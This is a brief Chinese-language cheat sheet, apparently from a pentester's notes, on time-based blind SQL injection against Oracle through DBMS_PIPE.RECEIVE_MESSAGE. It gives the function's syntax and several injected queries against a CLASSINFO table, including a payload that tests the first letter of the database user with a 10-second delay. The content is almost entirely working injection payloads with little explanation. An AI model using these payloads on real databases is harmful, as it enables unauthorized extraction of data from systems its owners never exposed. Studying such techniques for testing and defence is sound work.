DBMS_PIPE.RECEIVE_MESSAGE()

说明

DBMS_PIPE.RECEIVE_MESSAGE(‘任意值’,延迟时间)
select FROM CLASSINFO where CLASSID=88 or 1=dbms_pipe.receive_message(‘RDS’, 1)
select FROM CLASSINFO where CLASSID=88 and 1=dbms_pipe.receive_message(‘RDS’, 1)
image.png

用法

select * FROM CLASSINFO where CLASSID=88 and 1=(select decode(substr(user,1,1),’S’,dbms_pipe.receive_message(‘RDS’,10),0) from dual) —
image.png